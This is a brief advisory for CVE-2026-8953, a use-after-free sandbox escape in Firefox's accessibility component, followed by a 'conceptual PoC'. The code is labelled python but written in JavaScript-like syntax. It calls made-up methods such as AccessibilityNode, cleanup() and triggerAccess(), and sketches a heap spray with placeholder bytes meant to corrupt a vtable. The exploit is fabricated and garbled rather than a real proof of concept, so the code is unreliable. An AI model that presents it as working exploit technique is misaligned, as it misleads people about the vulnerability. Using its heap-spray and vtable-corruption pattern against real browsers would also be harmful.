Sandbox escape due to use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-8953 Use-After-Free
// Exploiting Disability Access APIs
function triggerVulnerability() {
// 1. Create vulnerable object in Accessibility API
let vulnObject = new AccessibilityNode();
// 2. Setup dangling pointer by freeing the object
// (Simulated internal browser behavior)
vulnObject.cleanup();
// 3. Heap spray to reclaim freed memory with controlled data
let buffer = new ArrayBuffer(0x1000);
let view = new DataView(buffer);
// Fill with ROP gadgets or shellcode placeholders
for(let i=0; i<0x1000; i++) {
view.setUint8(i, 0x41);
}
// 4. Trigger Use-After-Free to corrupt vtable
// Accessing vulnObject now uses attacker-controlled memory
vulnObject.triggerAccess();
}
// Note: This code demonstrates the logic flow required to exploit
// the UAF condition in the vulnerable component.